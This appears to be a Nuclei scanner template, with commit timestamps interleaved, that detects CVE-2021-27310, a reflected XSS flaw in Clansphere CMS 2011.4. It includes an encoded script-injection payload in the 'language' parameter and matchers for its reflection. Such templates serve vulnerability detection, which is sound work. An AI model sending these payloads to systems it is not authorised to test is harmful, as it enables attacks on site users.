2021-11-24 15:37:37 +00:00
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id: CVE-2021-27310
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info:
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name: Clansphere CMS 2011.4 - Reflected Cross-Site Scripting (XSS)
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author: alph4byt3
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severity: medium
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2021-12-04 07:14:08 +00:00
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description: Clansphere CMS 2011.4 allows unauthenticated reflected XSS via "language" parameter.
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2021-12-03 09:13:25 +00:00
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reference:
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- https://github.com/xoffense/POC/blob/main/Clansphere%202011.4%20%22language%22%20xss.md
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27310
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2021-12-03 09:17:18 +00:00
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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2022-04-22 10:38:41 +00:00
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cvss-score: 6.1
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2021-12-03 09:17:18 +00:00
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cve-id: CVE-2021-27310
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cwe-id: CWE-79
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2022-04-22 10:38:41 +00:00
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tags: xss,cve,cve2021,clansphere
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2021-11-24 15:37:37 +00:00
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requests:
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- method: GET
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path:
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2021-12-03 09:13:25 +00:00
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- '{{BaseURL}}/clansphere/mods/clansphere/lang_modvalidate.php?language=language%27%22()%26%25%3Cyes%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&module=module'
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2021-11-24 15:37:37 +00:00
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matchers-condition: and
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matchers:
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- type: word
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part: body
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2021-12-03 09:13:25 +00:00
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words:
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- "</script><script>alert(document.domain)</script>"
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2021-11-24 15:37:37 +00:00
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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